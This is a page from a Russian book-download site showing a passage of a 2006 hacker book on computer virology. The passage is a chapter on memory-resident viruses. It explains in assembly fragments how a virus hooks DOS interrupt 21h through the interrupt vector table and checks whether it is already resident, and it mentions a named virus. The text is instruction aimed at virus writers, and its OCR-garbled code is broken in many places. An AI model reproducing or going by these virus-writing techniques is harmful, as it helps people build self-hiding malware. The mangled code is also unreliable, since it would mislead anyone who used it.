Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 34 35 36 37 38 39 < 40 > 41 42 43 44 45 46 .. 123 >> Следующая

Некоторые авторы вирусов используют в своих резидентных службах дельта-
офсет. Мастера разрабатывают собственные методы, что придает их вирусам
оригинальность. Я приведу несколько примеров для иллюстрации различных
стилей в управлении этой функцией:
mov ах,3521И
int 21 h дохранить векторы int 21
mov word ptr [bp+int21],bx ;ecs:int21 mov word ptr [bp+int21+2],es
133
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov ax,3516h .получить прерывание 16Н int 21 h ; DOS служба (Get int)
mov il6off,bx сохранить офсет прерывания 16H MOV i 16seg,es -.сохранить
сегмент int 16H
mov ax,3521 h установить ax для получения адреса
вектора INT 21 int 21 h
;получить вектор INT 21
mov [WORD int21trap+1+0100h],bx
дохранить адрес в коде вируса mov [WORD int21trap+3+0100h],es
дохранить сегмент в коде вируса
push es pop ds
mov ax,3521 ;получить оригинальный вектор int 21
int 21.
mov ds:[oi21],bx mov ds:[oi2l+2],es
После сохранения оригинальной ISR вам нужно изменить IVT, чтобы она
указывала на вашу ISR. Офсет начальной части вирусной ISR загружается в
dx и вызывается функция 25h int 21.
Вторым способом манипуляции IVT является прямая манипуляция - вы
получаете прямой доступ к IVT в локации 0000:0000. Как и в предыдущем
методе возможны различные приемы непосредственного изменения IVT. Когда
вы поймете сам принцип, то сможете выбирать, как вам лучше изменять IVT.
Просто выясните, где в данный момент располагается IVT. Если имеются
сомнения, пусть за вас поработает DOS. Вот одна из техник:
хог ах,ах mov ds.ax
134
ГЛАВА 4. Вирус - резидент памяти
mov ax.offset myintXXh cli
xchg word ptr ds:[XXh*4],ax mov word ptr cs:[oldintXX],ax mov ax.cs
xchg word ptr ds:[XXh*4+2],ax mov word ptr cs:[oldintXX+2],ax sti
push cs pop ds
Что мы здесь делали? Сначала мы установили регистр DS, чтобы он указывал
на IVT в адресе 000:000. Для этого мы очистили сумматор ах до нуля,
используя инструкцию эксклюзивного OR (XOR).
Обнулив ах, мы перенесли ах в DS. Как вы помните, мы не имеем ни одной
инструкции для прямого перемещения из памяти в регистр DS - вот почему
необходима данная процедура. Следующая инструкция говорит за саму себя.
Офсет "myintXXh" (где XXh является прерыванием, которое мы изменяем)
загружается в ах.
"MyintXXh" - это локация нашей службы ISR. Следующая инструкция CLI
очищает флаг прерывания (IF), который, в свою очередь, деактивирует
внешние прерывания. Эта процедура гарантирует, что во время манипуляций с
IVT не произойдет ни одного прерывания.
Остальной код вполне понятен. Мы умножаем номер прерывания на 4 и
получаем адрес указателя на ISR. Каждый указатель в IVT имеет длину в 4
байта, или 2 слова, и состоит из сегмента и офсета. Вышеприведенный код
не учитывает другие офсеты, которые могут применяться в коде вируса.
Имеется множество стилей по написанию программ для манипуляций IVT. В
последствии у вас появится свой стиль.
13*
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Самораспознавание
Чтобы оставаться незаметным, резидентному вирусу важно знать, является ли
его код резидентом памяти или не является. Если вирус не выполнит данную
проверку, последствия будут печальными.
Самый простой способ заключается в том, чтобы перехватить прерывание и
посмотреть определенное уникальное значение или инсталляционный чек. Если
чек получен, подпрограмма возвращает другое уникальное значение,
говорящее о том, что вирус является резидентом памяти.
Например, мы можем перехватить int 21h и подождать, пока ах не сравняется
с DEADh в строке. В этом случае мы сохраняем значение и выполняем IRET.
Если вирус не инсталлирован, результатом будет ах = DE00. Выполняемый
вирус должен убедиться, что значение правильное и при положительном
исходе вернуть контроль жертве без своей повторной инсталляции.
Смотрите код, приведенный ниже:
lnstall_Check:
mov ax.Odeadh int 21 h
cmp ax.Odeadh je Alreadyjnstalled
Install:
lnt_21_Handler:
cmp ah,4bh je execute cmp.ah,3dh jeopen
cmp ax.Odeadh ;это инсталляционный чек?
;он инсталлирован?
;да? Прыгаем к .Alreadyjnstalled
; иначе инсталлируем его.
13fi
ГЛАВА 4. Вирус - резидент памяти
je lnstall_Check ;да, прыгаем к lnstall_Check.
Go_lnt_21:
dbOea lnt_21 _IP dw О lnt_21_CS dwO
lnstall_Check: сохраняем значение в ax
iret
Проверка: является ли файл СОМ-файлом?
Вы изучаете новую область знаний, поэтому я покажу вам другой способ
проверки открытого файла. Итак, нам нужно узнать, является ли выполняемый
файл СОМ-файлом. Вы уже знаете, как найти первый файл с расширением СОМ.
Но что вы будете делать,
когда вирус начнет перехватывать все файлы, использующие
функцию 4bh?
Ниже мы рассмотрим вирус Civil War II (Гражданская война), написанный
вирусмейкером Dark Helmet. В нем демонстрируется хорошая техника
сканирования ASCIIZ-cmpotcu для расширения СОМ.
Вы не знаете, что такое ASCIIZ-строка? ASCIIZ-строка - это строка,
которая прерывается двумя hex-нулями. Многие вирусы используют ее для
определения файлового типа (строка файлового имени в leh DTA (области
Предыдущая << 1 .. 34 35 36 37 38 39 < 40 > 41 42 43 44 45 46 .. 123 >> Следующая